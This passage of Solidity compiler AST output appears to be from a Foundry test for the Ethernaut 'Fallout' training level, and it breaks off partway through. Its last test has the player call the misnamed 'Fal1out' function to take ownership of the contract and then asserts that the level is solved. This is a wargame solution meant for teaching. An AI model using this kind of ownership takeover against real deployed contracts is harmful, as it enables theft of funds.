0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"766:8:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"758:16:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60868,"nodeType":"ExpressionStatement","src":"758:16:130"},{"expression":{"arguments":[{"id":60872,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60851,"src":"793:5:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":60873,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"800:7:130","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":60869,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"784:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60871,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"787:5:130","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"784:8:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60874,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"784:24:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60875,"nodeType":"ExpressionStatement","src":"784:24:130"},{"expression":{"id":60880,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60876,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60853,"src":"819:6:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60877,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60858,"src":"828:5:130","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60879,"indexExpression":{"hexValue":"31","id":60878,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"834:1:130","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"828:8:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"819:17:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60881,"nodeType":"ExpressionStatement","src":"819:17:130"},{"expression":{"arguments":[{"id":60885,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60853,"src":"855:6:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":60886,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"863:8:130","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":60882,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"846:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60884,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"849:5:130","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"846:8:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60887,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"846:26:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60888,"nodeType":"ExpressionStatement","src":"846:26:130"},{"expression":{"arguments":[{"id":60892,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60851,"src":"897:5:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60889,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"883:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60891,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"886:10:130","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"883:13:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60893,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"883:20:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60894,"nodeType":"ExpressionStatement","src":"883:20:130"},{"expression":{"id":60899,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60895,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60846,"src":"913:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":60897,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60851,"src":"952:5:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60896,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"925:26:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":60898,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"925:33:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"913:45:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60900,"nodeType":"ExpressionStatement","src":"913:45:130"},{"assignments":[60903],"declarations":[{"constant":false,"id":60903,"mutability":"mutable","name":"factory","nameLocation":"981:7:130","nodeType":"VariableDeclaration","scope":60955,"src":"968:20:130","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":60902,"nodeType":"UserDefinedTypeName","pathNode":{"id":60901,"name":"DummyFactory","nameLocations":["968:12:130"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"968:12:130"},"referencedDeclaration":52145,"src":"968:12:130","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":60909,"initialValue":{"arguments":[{"arguments":[{"hexValue":"46616c6c6f7574466163746f7279","id":60906,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1018:16:130","typeDescriptions":{"typeIdentifier":"t_stringliteral_76fb24e4ba4de24ed50a61a396cf728a919896a6a2766619e2ff068d997394b8","typeString":"literal_string \"FalloutFactory\""},"value":"FalloutFactory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_76fb24e4ba4de24ed50a61a396cf728a919896a6a2766619e2ff068d997394b8","typeString":"literal_string \"FalloutFactory\""}],"id":60905,"name":"getOldFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66672,"src":"1004:13:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory) returns (address)"}},"id":60907,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1004:31:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60904,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"991:12:130","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DummyFactory_$52145_$","typeString":"type(contract DummyFactory)"}},"id":60908,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"991:45:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"968:68:130"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":60916,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60903,"src":"1084:7:130","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":60915,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1076:7:130","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60914,"name":"address","nodeType":"ElementaryTypeName","src":"1076:7:130","typeDescriptions":{}}},"id":60917,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1076:16:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60913,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1070:5:130","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60918,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1070:23:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":60910,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60846,"src":"1046:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60912,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1056:13:130","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1046:23:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":60919,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1046:48:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60920,"nodeType":"ExpressionStatement","src":"1046:48:130"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60921,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1104:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60923,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1107:9:130","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1104:12:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60924,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1104:14:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60925,"nodeType":"ExpressionStatement","src":"1104:14:130"},{"expression":{"arguments":[{"id":60929,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60853,"src":"1143:6:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60926,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1129:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60928,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1132:10:130","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1129:13:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60930,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1129:21:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60931,"nodeType":"ExpressionStatement","src":"1129:21:130"},{"expression":{"id":60948,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60932,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60849,"src":"1160:8:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":60937,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60846,"src":"1207:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":60941,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60903,"src":"1232:7:130","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":60940,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1224:7:130","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60939,"name":"address","nodeType":"ElementaryTypeName","src":"1224:7:130","typeDescriptions":{}}},"id":60942,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1224:16:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60938,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1218:5:130","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60943,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1218:23:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":60944,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1243:1:130","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":60936,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1187:19:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":60945,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1187:58:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60935,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1179:8:130","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":60934,"name":"address","nodeType":"ElementaryTypeName","src":"1179:8:130","stateMutability":"payable","typeDescriptions":{}}},"id":60946,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1179:67:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60933,"name":"Fallout","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60839,"src":"1171:7:130","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Fallout_$60839_$","typeString":"type(contract Fallout)"}},"id":60947,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1171:76:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}},"src":"1160:87:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}},"id":60949,"nodeType":"ExpressionStatement","src":"1160:87:130"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60950,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1257:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60952,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1260:9:130","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1257:12:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60953,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1257:14:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60954,"nodeType":"ExpressionStatement","src":"1257:14:130"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"675:5:130","parameters":{"id":60854,"nodeType":"ParameterList","parameters":[],"src":"680:2:130"},"returnParameters":{"id":60855,"nodeType":"ParameterList","parameters":[],"src":"690:0:130"},"scope":61004,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":60977,"nodeType":"FunctionDefinition","src":"1530:137:130","nodes":[],"body":{"id":60976,"nodeType":"Block","src":"1557:110:130","nodes":[],"statements":[{"expression":{"arguments":[{"id":60963,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60853,"src":"1581:6:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60960,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1567:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60962,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1570:10:130","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1567:13:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60964,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1567:21:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60965,"nodeType":"ExpressionStatement","src":"1567:21:130"},{"expression":{"arguments":[{"arguments":[{"id":60968,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60846,"src":"1630:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":60971,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60849,"src":"1649:8:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}],"id":60970,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1641:7:130","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60969,"name":"address","nodeType":"ElementaryTypeName","src":"1641:7:130","typeDescriptions":{}}},"id":60972,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1641:17:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60967,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1610:19:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60973,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1610:49:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60966,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1598:11:130","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":60974,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1598:62:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60975,"nodeType":"ExpressionStatement","src":"1598:62:130"}]},"documentation":{"id":60957,"nodeType":"StructuredDocumentation","src":"1462:63:130","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1539:8:130","parameters":{"id":60958,"nodeType":"ParameterList","parameters":[],"src":"1547:2:130"},"returnParameters":{"id":60959,"nodeType":"ParameterList","parameters":[],"src":"1557:0:130"},"scope":61004,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":61003,"nodeType":"FunctionDefinition","src":"1722:167:130","nodes":[],"body":{"id":61002,"nodeType":"Block","src":"1750:139:130","nodes":[],"statements":[{"expression":{"arguments":[{"id":60984,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60853,"src":"1774:6:130","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60981,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1760:2:130","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60983,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1763:10:130","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1760:13:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60985,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1760:21:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60986,"nodeType":"ExpressionStatement","src":"1760:21:130"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60987,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60849,"src":"1792:8:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}},"id":60989,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1801:7:130","memberName":"Fal1out","nodeType":"MemberAccess","referencedDeclaration":60838,"src":"1792:16:130","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60990,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1792:18:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60991,"nodeType":"ExpressionStatement","src":"1792:18:130"},{"expression":{"arguments":[{"arguments":[{"id":60994,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60846,"src":"1852:9:130","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":60997,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60849,"src":"1871:8:130","typeDescriptions":{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Fallout_$60839","typeString":"contract Fallout"}],"id":60996,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1863:7:130","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60995,"name":"address","nodeType":"ElementaryTypeName","src":"1863:7:130","typeDescriptions":{}}},"id":60998,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1863:17:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60993,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1832:19:130","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60999,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1832:49:130","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60992,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1821:10:130","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) 